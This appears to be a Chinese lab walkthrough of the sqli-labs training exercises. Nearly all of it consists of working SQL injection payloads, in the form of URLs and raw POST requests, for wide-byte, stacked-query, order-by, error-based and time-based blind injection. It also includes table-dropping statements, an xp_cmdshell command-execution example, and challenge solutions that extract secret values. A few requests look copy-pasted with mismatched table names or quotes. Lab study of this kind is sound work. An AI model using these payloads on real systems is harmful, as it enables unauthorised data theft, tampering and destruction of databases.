8.2.1 GET中宽字节注入：Less-32、Less-33

http://192.168.50.2:8888/Less-32/?id=%df%27%20union%20select%201,@@basedir,3%23

http://192.168.50.2:8888/Less-33/?id=%E9%8C%A6%27%20union%20select%201,@@basedir,3%23

8.2.2 POST中宽字节注入：Less-34

Username : 錦' or 1=1#
Password : 

POST /Less-34/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-34/
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
DNT: 1
Pragma: no-cache
Cache-Control: no-cache

uname=%E9%8C%A6%27+or+1%3D1%23&passwd=&submit=Submit

8.2.3 Sql语句中没有`'`时：Less-35

// 源码：
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

http://192.168.50.2:8888/Less-35/?id=-1%20union%20select%201,user(),3%23

8.2.4 Sql语句中有`'`时：：Less-36

// 源码：
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

http://192.168.50.2:8888/Less-36/?id=%df%27%20union%20select%201,user(),3%23

8.2.5 `mysql_real_escape_string()`函数绕过：Less-37

mysql_real_escape_string()与addslashes()函数原理一致。

Username : 錦' or 1=1#
Password : 

POST /Less-37/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-37/
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
DNT: 1
Pragma: no-cache
Cache-Control: no-cache

uname=%E9%8C%A6%27+or+1%3D1%23&passwd=&submit=Submit

9 堆叠注入

Stacked injections（堆叠注入）：多条 SQL 语句一起执行。SQL 中，分号（;）是用来表示一条 SQL语句的结束。

堆叠注入的局限性：因为代码通常只返回一个查询结果，堆叠注入第二个语句产生错误或者结果只能被忽略。

9.1 不同数据库实例介绍

9.1.1 Mysql 数据库

// 创建一个表
select * from users where id=1;create table test like users;

// 删除 test 表
select * from users where id=1;drop table test;

// 查询数据
select * from users where id=1;select 1,2,3;

// 加载文件 
select * from users where id=1;select load_file('/usr/test.php');

// 修改数据
select * from users where id=1;insert into users(id,username,password) values('6','test01','test01');

9.1.2 Sql server 数据库

// 增加数据表
select * from test;create table sc3(ss CHAR(8));

// 删除数据表
select * from test;drop table sc3;

// 查询数据
select 1,2,3;select * from test;

// 修改数据
select * from test;update test set name='test' where id=3;

// 命令执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

9.1.3 Postgresql 数据库

// 增加数据表
select * from test1;create table test(id DATE);

// 删除数据表
select * from test;delete from test;

// 查询数据
select 1,2,3;select * from test;

// 修改数据
select * from test;update test set name='modify' where name='user01';

9.1.4 Oracle 数据库

oracle 不能使用堆叠注入，可以从图中看到，当有两条语句在同一行时，直接报错。

9.2 堆叠注入实例：Less-38-41、50-52

http://192.168.50.2:8888/Less-38/?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2715%27,%27admin15%27,%27hello%27)%23

mysql> select * from users where id=15;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | admin15  | hello    |
+----+----------+----------+
1 row in set (0.00 sec)
    
http://192.168.50.2:8888/Less-39/?id=1; insert%20into%20users(id,username,password)%20values%20(%2716%27,%27admin16%27,%27hello%27)%23
mysql> select * from users where id=16;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 16 | admin16  | hello    |
+----+----------+----------+
1 row in set (0.00 sec)

http://192.168.50.2:8888/Less-40/?id=1%27);insert%20into%20users(id,username,password)%20values%20(%2717%27,%27admin17%27,%27hello%27)%23
mysql> select * from users where id=17;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 17 | admin17  | hello    |
+----+----------+----------+
1 row in set (0.00 sec)

http://192.168.50.2:8888/Less-41/?id=1;insert%20into%20users(id,username,password)%20values%20(%2718%27,%27admin18%27,%27hello%27)%23
mysql> select * from users where id=18;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 18 | admin18  | hello    |
+----+----------+----------+
1 row in set (0.00 sec)

http://192.168.50.2:8888/Less-50/?sort=1;create%20table%20test%20like%20users
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| test               |
| uagents            |
| users              |
+--------------------+
5 rows in set (0.00 sec)

http://192.168.50.2:8888/Less-51/?sort=1%27;%20drop%20table%20test%23
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)

http://192.168.50.2:8888/Less-52/?sort=1;%20create%20table%20test%20like%20users
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| test               |
| uagents            |
| users              |
+--------------------+
5 rows in set (0.00 sec)

http://192.168.50.2:8888/Less-53/?sort=1%27;%20drop%20table%20test%23
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)

9.3 `mysql_real_escape_string()`：Less-42-45

源码：

$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
   
   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

Password 变量在 POST过程中，没有通过 mysql_real_escape_string()函数的处理。
更新数据时，经过mysql_real_escape_string()处理后的数据，存入到数据库当中后不会发生变化。在select 调用的时候才能发挥作用，因此不用考虑在更新密码处进行注入.

POST /Less-42/login.php HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-42/index.php
Cookie: PHPSESSID=t3khst0uj2clsjkf7sd16fiv00
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Pragma: no-cache
Cache-Control: no-cache

login_user=test&login_password=%27%3Bcreate+table+me+like+users%23&mysubmit=Login

mysql> show tables; 
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| me                 |
| referers           |
| uagents            |
| users              |
+--------------------+
5 rows in set (0.00 sec)

// 删除创建的表
login_user=test&login_password=%27%3B+drop+table+me%3B&mysubmit=Login

// Less-43
// '); create table me like users#
POST /Less-43/login.php HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-43/
Cookie: PHPSESSID=t3khst0uj2clsjkf7sd16fiv00
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Pragma: no-cache
Cache-Control: no-cache

login_user=test&login_password=%27%29%3B+create+table+me+like+users%23&mysubmit=Login

mysql> show tables; 
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| me                 |
| referers           |
| uagents            |
| users              |
+--------------------+
5 rows in set (0.00 sec)

// Less-44
// '; drop table me#
POST /Less-44/login.php HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-44/
Cookie: PHPSESSID=t3khst0uj2clsjkf7sd16fiv00
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Pragma: no-cache
Cache-Control: no-cache

login_user=test&login_password=%27%3B+drop+table+me%23&mysubmit=Login

mysql> show tables; 
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
5 rows in set (0.00 sec)

// Less-45
// '); create table me like users#
POST /Less-45/login.php HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-45/
Cookie: PHPSESSID=t3khst0uj2clsjkf7sd16fiv00
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Pragma: no-cache
Cache-Control: no-cache

login_user=test&login_password=%27%29%3B+create+table+me+like+users%23&mysubmit=Login

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| me                 |
| referers           |
| uagents            |
| users              |
+--------------------+
5 rows in set (0.00 sec)

10 order by 注入

order by 后的数字可以作为一个注入点。也就是构造 order by 后的一个语句，让该语句执行结果为一个数。

10.1 存在order by判定方式

若?sort=1 desc 降序或者asc升序的显示结果不同，则表明可以注入。

http://192.168.50.2:8888/Less-46/?sort=1%20asc
http://192.168.50.2:8888/Less-46/?sort=1%20desc

10.2 用报错注入：Less-46-47

源码：

$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";

直接添加注入语句：?sort=(select ******)

// 确认数字是否影响输出
http://192.168.50.2:8888/Less-46/?sort=right(version(),1)
http://192.168.50.2:8888/Less-46/?sort=left(version(),1)
// 结果都一样说明数字并不影响输出

// 报错注入
// ?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))) limit 0,1
http://192.168.50.2:8888/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))%20limit%200,1

http://192.168.50.2:8888/Less-47/?sort=1%27%20and%20(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))%20limit%200,1%23

利用函数：例如 rand()函数等。?sort=rand(sql 语句)， rand(ture)和rand(false)的结果是不一样的。

// ?sort=rand(ascii(left(database(),1))=115)
http://192.168.50.2:8888/Less-46/?sort=rand(ascii(left(database(),1))=115)
http://192.168.50.2:8888/Less-46/?sort=rand(ascii(left(database(),1))=114)

http://192.168.50.2:8888/Less-47/?sort=1%27%20and%20rand(ascii(left(database(),1))=115)%23
http://192.168.50.2:8888/Less-47/?sort=1%27%20and%20rand(ascii(left(database(),1))=114)%23

http://192.168.50.2:8888/Less-50/?sort=rand(ascii(left(database(),1))=115)
http://192.168.50.2:8888/Less-50/?sort=rand(ascii(left(database(),1))=114)

利用and：例如?sort=1 and (加sql 语句)。

利用 procedure analyse 参数：在procedure analyse 和 order by 之间可以存在limit 参数。

// ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
http://192.168.50.2:8888/Less-46/?sort=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)

http://192.168.50.2:8888/Less-47/?sort=1%27%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)%23

http://192.168.50.2:8888/Less-50/?sort=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)

10.3 延时注入：Less-46-50

// ?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
http://192.168.50.2:8888/Less-46/?sort=(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)

http://192.168.50.2:8888/Less-47/?sort=1%27%20and%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)%23

http://192.168.50.2:8888/Less-48/?sort=1%20and%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)

http://192.168.50.2:8888/Less-49/?sort=1%27%20and%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)%23


// 正确立刻返回，不正确5s后返回。
// ?sort=1 and If(ascii(substr(database(),1,1))=115,0,sleep(5))
http://192.168.50.2:8888/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))

http://192.168.50.2:8888/Less-47/?sort=1%27%20and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))%23

http://192.168.50.2:8888/Less-48/?sort=1%20and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))

http://192.168.50.2:8888/Less-49/?sort=1%27%20and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))%23

http://192.168.50.2:8888/Less-50/?sort=1%20and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))

11 CHALLENGES

11.1 Less-54

http://192.168.50.2:8888/Less-54/index.php?id=1
http://192.168.50.2:8888/Less-54/index.php?id=1%27
http://192.168.50.2:8888/Less-54/index.php?id=1%27%23
http://192.168.50.2:8888/Less-54/index.php?id=1%27%20order%20by%203%23
http://192.168.50.2:8888/Less-54/index.php?id=%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%23
// Your Login name:4B7EA41LOD
http://192.168.50.2:8888/Less-54/index.php?id=%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%274B7EA41LOD%27%23
//  Your Login name:id,sessid,secret_WDEI,tryy
http://192.168.50.2:8888/Less-54/index.php?id=%27%20union%20select%201,group_concat(sessid,0x7e,secret_WDEI,0x7e,tryy),3%20from%204B7EA41LOD%23
// D9b1OtQd0vWJOrV3Zki1QPIu

11.2 Less-55

http://192.168.50.2:8888/Less-55/?id=1)%23
http://192.168.50.2:8888/Less-55/?id=1)%20order%20by%203%23
http://192.168.50.2:8888/Less-55/?id=-1)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%23
//  Your Login name:SATFBIJD4I
http://192.168.50.2:8888/Less-55/?id=-1)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27SATFBIJD4I%27%23
//  Your Login name:id,sessid,secret_7LWN,tryy
http://192.168.50.2:8888/Less-55/?id=-1)%20union%20select%201,secret_7LWN,3%20from%20SATFBIJD4I%23
//  Your Login name:bZRCX8kB2GEDOfata6u7GyMX

11.3 Less-56

http://192.168.50.2:8888/Less-56/?id=1%27)%23
http://192.168.50.2:8888/Less-56/?id=1%27)%20order%20by%203%23
http://192.168.50.2:8888/Less-56/?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%23
//  Your Login name:DA7LAM9SK6
http://192.168.50.2:8888/Less-56/?id=-1%27)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27DA7LAM9SK6%27%23
//  Your Login name:id,sessid,secret_56OK,tryy
http://192.168.50.2:8888/Less-56/?id=-1%27)%20union%20select%201,secret_56OK,3%20from%20DA7LAM9SK6%23
//  Your Login name:AC0hkrLqDkASUMJtAOt6iuRi

11.4 Less-57

http://192.168.50.2:8888/Less-57/?id=1%22%23
http://192.168.50.2:8888/Less-57/?id=1%22%20order%20by%203%23
http://192.168.50.2:8888/Less-57/?id=-1%22%20union%20select%201,2,3%23
http://192.168.50.2:8888/Less-57/?id=-1%22%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%23
//  Your Login name:AR9CARKBAE
http://192.168.50.2:8888/Less-57/?id=-1%22%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27AR9CARKBAE%27%23
//  Your Login name:id,sessid,secret_N6BJ,tryy
http://192.168.50.2:8888/Less-57/?id=-1%22%20union%20select%201,secret_N6BJ,3%20from%20AR9CARKBAE%23
//  Your Login name:y3qnyhhGG6jgmsFR2Hv2KwXd

11.5 Less-58

http://192.168.50.2:8888/Less-58/?id=1%27%23
http://192.168.50.2:8888/Less-58/?id=1%27%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,table_name,0x7e)%20FROM%20information_schema.tables%20where%20table_schema=database()%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
//  Duplicate entry '~8XNOGTV7RN~1' for key 'group_key' 
http://192.168.50.2:8888/Less-58/?id=1%27%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,column_name,0x7e)%20FROM%20information_schema.columns%20where%20table_name=%278XNOGTV7RN%27%20LIMIT%202,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
//  Duplicate entry '~secret_B367~1' for key 'group_key' 
http://192.168.50.2:8888/Less-58/?id=1%27%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x23,secret_B367,0x23)%20FROM%208XNOGTV7RN%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
//  Duplicate entry '#m9xflQ2ZHQJNtyFwmCb8algB#1' for key 'group_key'

11.6 Less-59

http://192.168.50.2:8888/Less-59/?id=1%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20table_name%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e))
//   XPATH syntax error: '~M0CHHZWY6B~' 
http://192.168.50.2:8888/Less-59/?id=1%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20column_name%20FROM%20information_schema.columns%20where%20table_name=%22M0CHHZWY6B%22%20limit%202,1),0x7e))
//  XPATH syntax error: '~secret_TYJZ~' 
http://192.168.50.2:8888/Less-59/?id=1%20and%20extractvalue(1,%20concat(0x7e,(select%20distinct%20concat(0x3a,secret_TYJZ,0x3a)%20from%20M0CHHZWY6B%20limit%200,1),0x7e))
//  XPATH syntax error: '~:67KflioFOdoZNE06FLqIY20B:~'

11.7 Less-60

http://192.168.50.2:8888/Less-60/?id=1%22)%23
http://192.168.50.2:8888/Less-60/?id=1%22)%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20table_name%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e))%23
//  XPATH syntax error: '~ASRZOC93L9~' 
http://192.168.50.2:8888/Less-60/?id=1%22)%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20column_name%20FROM%20information_schema.columns%20where%20table_name=%22ASRZOC93L9%22%20limit%202,1),0x7e))%23
//  XPATH syntax error: '~secret_0PDM~' 
192.168.50.2:8888/Less-60/?id=1") and extractvalue(1, concat(0x7e,(select distinct concat(0x3a,secret_0PDM,0x3a) from ASRZOC93L9 limit 0,1),0x7e))%23
//  XPATH syntax error: '~:gmeEM8UPkmJOEdBMTDsxuH1t:~'

11.8 Less-61

http://192.168.50.2:8888/Less-61/?id=1%27))%23
http://192.168.50.2:8888/Less-61/?id=1%27))%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20table_name%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e))%23
//  XPATH syntax error: '~GZYW2AEPSH~' 
http://192.168.50.2:8888/Less-61/?id=1%27))%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20column_name%20FROM%20information_schema.columns%20where%20table_name=%22GZYW2AEPSH%22%20limit%202,1),0x7e))%23
//  XPATH syntax error: '~secret_WRT5~' 
http://192.168.50.2:8888/Less-61/?id=1%27))%20and%20extractvalue(1,%20concat(0x7e,(select%20distinct%20concat(0x3a,secret_WRT5,0x3a)%20from%20GZYW2AEPSH%20limit%200,1)))%23
//  XPATH syntax error: '~:FKBTPfVcyYKmISd2Pok5QX7Y:'

11.9 Less-62

http://192.168.50.2:8888/Less-62/?id=1%27)%23
// 确认表名长度，正确时延迟3s
http://192.168.50.2:8888/Less-62/?id=1%27)%20and%20if(LENGTH((select(group_concat(TABLE_NAME))%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()))=11,0,sleep(3))%23
// 猜解表名
http://192.168.50.2:8888/Less-62/?id=1%27)%20and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))=77,0,sleep(5))%23
http://192.168.50.2:8888/Less-62/?id=1%27)%20and%20if(ascii(SUBSTRING((select%20group_concat(TABLE_NAME)from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()),1,1))=77,sleep(3),0)%23
// M1A3LY7UQ1

// 确认表字段名称长度，延迟3s返回数据说明猜解长度正确
http://192.168.50.2:8888/Less-62/?id=1%27)%20and%20if(LENGTH((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27M1A3LY7UQ1%27%20limit%202,1))=11,sleep(3),0)%23

// 猜解表字段名称
http://192.168.50.2:8888/Less-62/?id=1%27)%20and%20if(left((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27M1A3LY7UQ1%27%20limit%202,1),1)=%27s%27,sleep(3),1)%23
http://192.168.50.2:8888/Less-62/?id=1%27)%20and%20if(left((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27M1A3LY7UQ1%27%20limit%202,1),11)=%27secret_PIWJ%27,sleep(3),1)%23
// secret_PIWJ

// 猜解表数据
http://192.168.50.2:8888/Less-62/?id=1%27)%20and%20if(left((select%20secret_PIWJ%20from%20M1A3LY7UQ1%20limit%200,1),1)=%27W%27,sleep(3),1)%23
http://192.168.50.2:8888/Less-62/?id=1%27)%20%20and%20if(left((select%20secret_PIWJ%20from%20M1A3LY7UQ1%20limit%200,1),24)=%27WWhrqBjOaA8c5YU10rn0f8ha%27,sleep(3),1)%23
// WWhrqBjOaA8c5YU10rn0f8ha

11.10 Less-63

http://192.168.50.2:8888/Less-63/?id=1%27%23
// 确认表名长度，正确时延迟3s
http://192.168.50.2:8888/Less-63/?id=1%27%20and%20if(LENGTH((select(group_concat(TABLE_NAME))%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()))=11,0,sleep(3))%23
// 猜解表名，猜解正确，立刻返回结果
http://192.168.50.2:8888/Less-63/?id=1%27%20and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))=78,0,sleep(5))%23
http://192.168.50.2:8888/Less-63/?id=1%27%20and%20If(ascii(SUBSTRING((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))=78,0,sleep(5))%23
// N1X9F5M18F

// 确认表字段名称长度，延迟3s返回数据说明猜解长度正确
http://192.168.50.2:8888/Less-63/?id=1%27%20and%20if(LENGTH((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27M1A3LY7UQ1%27%20limit%202,1))=11,sleep(3),0)%23

// 猜解表字段名称，猜解正确延迟3s
http://192.168.50.2:8888/Less-63/?id=1%27%20and%20if(left((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27N1X9F5M18F%27%20limit%202,1),1)=%27s%27,sleep(3),1)%23
http://192.168.50.2:8888/Less-63/?id=1%27%20and%20if(left((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27N1X9F5M18F%27%20limit%202,1),11)=%27secret_B3KX%27,sleep(3),1)%23
// secret_B3KX

// 猜解表数据，猜解正确延迟3s
http://192.168.50.2:8888/Less-63/?id=1%27%20and%20if(left((select%20secret_B3KX%20from%20N1X9F5M18F%20limit%200,1),1)=%27d%27,sleep(3),1)%23
http://192.168.50.2:8888/Less-63/?id=1%27%20and%20if(left((select%20secret_B3KX%20from%20N1X9F5M18F%20limit%200,1),24)=%27dom2mv9wEJbSbkXiavUEuc6G%27,sleep(3),1)%23
// dom2mv9wEJbSbkXiavUEuc6G

11.11 Less-64

http://192.168.50.2:8888/Less-64/?id=1))%23
// 确认表名长度，正确时延迟3s
http://192.168.50.2:8888/Less-64/?id=1))%20and%20if(LENGTH((select(group_concat(TABLE_NAME))%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()))=11,0,sleep(3))%23
// 猜解表名，猜解正确，立刻返回结果
http://192.168.50.2:8888/Less-64/?id=1))%20and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))=82,0,sleep(5))%23
http://192.168.50.2:8888/Less-64/?id=1))%20and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),2,1))=55,0,sleep(5))%23
// R7NHZALUDW

// 确认表字段名称长度，延迟3s返回数据说明猜解长度正确
http://192.168.50.2:8888/Less-64/?id=1))%20and%20if(LENGTH((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27R7NHZALUDW%27%20limit%202,1))=11,sleep(3),0)%23

// 猜解表字段名称，猜解正确延迟3s
http://192.168.50.2:8888/Less-64/?id=1))%20and%20if(left((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27R7NHZALUDW%27%20limit%202,1),1)=%27s%27,sleep(3),1)%23
http://192.168.50.2:8888/Less-64/?id=1))%20and%20if(left((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27R7NHZALUDW%27%20limit%202,1),11)=%27secret_1D2D%27,sleep(3),1)%23
// secret_1D2D

// 猜解表数据，猜解正确延迟3s
http://192.168.50.2:8888/Less-64/?id=1))%20and%20if(left((select%20secret_1D2D%20from%20R7NHZALUDW%20limit%200,1),1)=%27E%27,sleep(3),1)%23
http://192.168.50.2:8888/Less-64/?id=1%27%20and%20if(left((select%20secret_1D2D%20from%20R7NHZALUDW%20limit%200,1),24)=%27EPId2E23YEaGctJJ4oFR1yRK%27,sleep(3),1)%23
// EPId2E23YEaGctJJ4oFR1yRK

11.12 Less-65

http://192.168.50.2:8888/Less-65/?id=1%22)%23
// 确认表名长度，正确时延迟3s
http://192.168.50.2:8888/Less-65/?id=1%22)%20and%20if(LENGTH((select(group_concat(TABLE_NAME))%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()))=11,0,sleep(3))%23
// 猜解表名，猜解正确，立刻返回结果
http://192.168.50.2:8888/Less-65/?id=1%22)%20and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))=82,0,sleep(5))%23
http://192.168.50.2:8888/Less-65/?id=1%22)%20and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),2,1))=55,0,sleep(5))%23
// R7NHZALUDW

// 确认表字段名称长度，延迟3s返回数据说明猜解长度正确
http://192.168.50.2:8888/Less-65/?id=1%22)%20and%20if(LENGTH((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27R7NHZALUDW%27%20limit%202,1))=11,sleep(3),0)%23

// 猜解表字段名称，猜解正确延迟3s
http://192.168.50.2:8888/Less-65/?id=1%22)%20and%20if(left((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27R7NHZALUDW%27%20limit%202,1),1)=%27s%27,sleep(3),1)%23
http://192.168.50.2:8888/Less-65/?id=1%22)%20and%20if(left((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27R7NHZALUDW%27%20limit%202,1),11)=%27secret_1D2D%27,sleep(3),1)%23
// secret_1D2D

// 猜解表数据，猜解正确延迟3s
http://192.168.50.2:8888/Less-65/?id=1%22)%20and%20if(left((select%20secret_1D2D%20from%20R7NHZALUDW%20limit%200,1),1)=%27E%27,sleep(3),1)%23
